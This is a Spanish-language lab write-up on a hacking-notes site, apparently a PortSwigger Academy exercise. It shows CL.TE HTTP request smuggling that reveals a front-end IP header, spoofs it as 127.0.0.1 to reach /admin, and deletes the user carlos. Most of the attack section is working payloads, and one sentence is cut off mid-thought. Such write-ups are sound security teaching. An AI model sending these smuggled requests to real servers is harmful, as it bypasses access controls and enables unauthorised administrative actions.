> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md).

# Descubrimiento de reescritura a través del front-end

### Explotando el contrabando de solicitudes HTTP para revelar la reescritura de solicitudes del front-end

El sitio se basa en un servidor front-end y un servidor back-end. El front-end\*\* no acepta codificación fragmentada\*\*. / El acceso al panel de administración /admin está reservado para usuarios de **127.0.0.1**. / Antes de reenviar las solicitudes al back-end, el front-end \*\* añade un encabezado personalizado que contiene la dirección IP del cliente\*\*. Este comportamiento se parece al clásico X-Forwarded-For, pero el nombre del encabezado es diferente.

El objetivo es doble:

1. **Envía una solicitud** para revelar el nombre de este encabezado añadido por el front-end.
2. **Envía una solicitud contrabandeada** consulta que contenga este encabezado, forzándolo al valor 127.0.0.1, para acceder al panel de administración y eliminar el usuario carlos.

<figure><img src="/files/615ff78fab07089950b374a6a9881fd818f83e2e" alt=""><figcaption></figcaption></figure>

#### **Análisis del comportamiento**

* El campo enviado en el parámetro de búsqueda se devuelve en la respuesta, lo que muestra que podemos usarlo para observar los efectos de nuestras inyecciones.
* Enviando:

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

la solicitud se procesa sin error (200 OK), lo que confirma que **el front-end interpreta Content-Length**, mientras que **el back-end ignora Transfer-Encoding**.

* Al contrabandear una solicitud POST adicional:

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

los bytes sobrantes (aquí,

* Al aumentar Content-Length a 125, la respuesta expone el encabezado añadido por el front-end. / Este encabezado es:

```http
Content-Length: 125
```

<figure><img src="/files/3bf2adeae542cc9b8945e82c1ce93717dcfe7e1c" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="/files/1310fbb30e2118bf6b42edacf3d0f290428eab3e" alt=""><figcaption></figcaption></figure>

#### **Acceso al panel de administración**

Al falsificar una consulta contrabandeada que incluye este encabezado forzado a **127.0.0.1**, obtienes acceso a /admin:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="/files/bae4675ea5a16c8951b45c5e0d419d9743d93b41" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Una segunda consulta contrabandeada te permite llamar directamente al endpoint de eliminación:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

Luego, el usuario carlos se elimina a través del back-end, haciendo que parezca una solicitud interna autorizada.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
